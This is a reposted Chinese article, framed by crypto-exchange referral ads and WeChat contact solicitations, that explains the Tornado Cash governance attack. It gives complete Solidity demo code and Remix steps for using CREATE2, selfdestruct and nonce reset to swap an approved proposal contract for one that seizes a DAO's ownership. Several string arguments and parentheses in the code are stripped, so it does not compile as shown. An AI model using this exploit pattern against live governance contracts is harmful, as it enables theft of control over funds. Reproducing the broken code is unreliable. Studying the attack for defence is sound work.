解析Tornado治理攻击:如何同一个地址上部署不同的合约_虚拟币交易所平台,数字货币,NFT

admin 阅读:27 2024-04-01 11:59:14 评论:0
美化布局示例

欧易(OKX)最新版本

【遇到注册下载问题请加文章最下面的客服微信】永久享受返佣20%手续费!

APP下载   全球官网 大陆官网

币安(Binance)最新版本

币安交易所app【遇到注册下载问题请加文章最下面的客服微信】永久享受返佣20%手续费!

APP下载   官网地址

火币HTX最新版本

火币老牌交易所【遇到注册下载问题请加文章最下面的客服微信】永久享受返佣20%手续费!

APP下载   官网地址
当前位置: > > 解析Tornado治理攻击:如何同一个地址上部署不同的合约 解析Tornado治理攻击:如何同一个地址上部署不同的合约 2023-06-02 登链社区 来源:区块链网络

Current Location Resolution Governance Attacks How to Deploy Different Contract Resolution Governance Attacks on the Same Address How to Deploy Different Contract Logins on the Same Address Community Source Blockchain Network 比特币今日价格行情网_okx交易所app_永续合约_比特币怎么买卖交易_虚拟币交易所平台

大概两周前(5 月 20 日),知名混币协议 Tornado Cash 遭受到治理攻击,黑客获取到了Tornado Cash的治理合约的控制权(Owner)。

攻击过程是这样的:攻击者先提交了一个“看起来正常”的提案, 待提案通过之后, 销毁了提案要执行的合约地址, 并在该地址上重新创建了一个攻击合约。

攻击过程可以查看 SharkTeam 的 Tornado.Cash提案攻击原理分析[1]。

这里攻击的关键是在同一个地址上部署了不同的合约, 这是如何实现的呢?

背景

EVM 中有两个操作码用来创建合约:CREATE 与 CREATE2 。

CREATE 操作码

当使用 new Token() 使用的是 CREATE 操作码 , 创建的合约地址计算函数为:

address tokenAddr = bytes20(keccak256(senderAddress, nonce))

创建的合约地址是通过创建者地址+创建者Nonce(创建合约的数量)来确定的, 由于 Nonce 总是逐步递增的, 当 Nonce 增加时,创建的合约地址总是是不同的。

CREATE2 操作码

当添加一个salt时 new Token{salt: bytes32()}() ,则使用的是 CREATE2 操作码 , 创建的合约地址计算函数为:

address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))

创建的合约地址是创建者地址+自定义的盐+要部署的智能合约的字节码, 因此 只有相同字节码 和 使用相同的盐值,才可以部署到同一个合约地址上。

那么如何才能在同一地址如何部署不用的合约?

攻击手段

攻击者结合使用 Create2 和 Create 来创建合约, 如图:

代码参考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

先用 Create2 部署一个合约 Deployer , 在 Deployer 使用 Create 创建目标合约 Proposal(用于提案使用)。Deployer 和 Proposal 合约中均有自毁实现(selfdestruct)。

在提案通过后,攻击者把 Deployer 和 Proposal 合约销毁,然后重新用相同的slat创建 Deployer , Deployer 字节码不变,slat 也相同,因此会得到一个和之前相同的 Deployer 合约地址, 但此时 Deployer 合约的状态被清空了, nonce 从 0 开始,因此可以使用该 nonce 创建另一个合约Attack。

攻击代码示例

此代码来自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract DAO {
struct Proposal {
address target;
bool approved;
bool executed;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, not authorized
proposals.push(Proposal({target: target, approved: true, executed: false}));
}
function execute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, not approved
require(!proposal.executed, executed
proposal.executed = true;
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature( executeProposal() )
);
require(ok, delegatecall failed
}
}
contract Proposal {
event Log(string message);
function executeProposal() external {
emit Log( Excuted code approved by DAO
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function executeProposal() external {
emit Log( Excuted code not approved by DAO :)
// For example - set DAO s owner to attacker
owner = msg.sender;
}
}
contract DeployerDeployer {
event Log(address addr);
function deploy() external {
bytes32 salt = keccak256(abi.encode(uint(123)));
address addr = address(new Deployer{salt: salt}());
emit Log(addr);
}
}
contract Deployer {
event Log(address addr);
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
function kill() external {
selfdestruct(payable(address(0)));
}
}

大家可以使用该代码自己在 Remix 中演练一下。

首先部署 DeployerDeployer , 调用 DeployerDeployer.deploy() 部署 Deployer , 然后调用 Deployer.deployProposal() 部署 Proposal 。

拿到 Proposal 提案合约地址后, 向 DAO 发起提案。

分别调用 Deployer.kill 和 Proposal.emergencyStop 销毁掉 Deployer 和 Proposal

再次调用 DeployerDeployer.deploy() 部署 Deployer , 调用 Deployer.deployAttack() 部署 Attack , Attack 将和之前的 Proposal 一致。

执行 DAO.execute 时,攻击完成 获取到了 DAO 的 Owner 权限。

查看更多

文字格式和图片示例

注册有任何问题请添加 微信:MVIP619 拉你进入群

弹窗与图片大小一致 文章转载注明 网址:https://netpsp.com/?id=35677

美化布局示例

欧易(OKX)最新版本

【遇到注册下载问题请加文章最下面的客服微信】永久享受返佣20%手续费!

APP下载   全球官网 大陆官网

币安(Binance)最新版本

币安交易所app【遇到注册下载问题请加文章最下面的客服微信】永久享受返佣20%手续费!

APP下载   官网地址

火币HTX最新版本

火币老牌交易所【遇到注册下载问题请加文章最下面的客服微信】永久享受返佣20%手续费!

APP下载   官网地址
可以去百度分享获取分享代码输入这里。
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

发表评论
平台列表
美化布局示例

欧易(OKX)

  全球官网 大陆官网

币安(Binance)

  官网

火币(HTX)

  官网

Gate.io

  官网

Bitget

  官网

deepcoin

  官网
关注我们

若遇到问题,加微信客服---清歌

搜索
排行榜
扫一扫,加我为微信好友加我为微信好友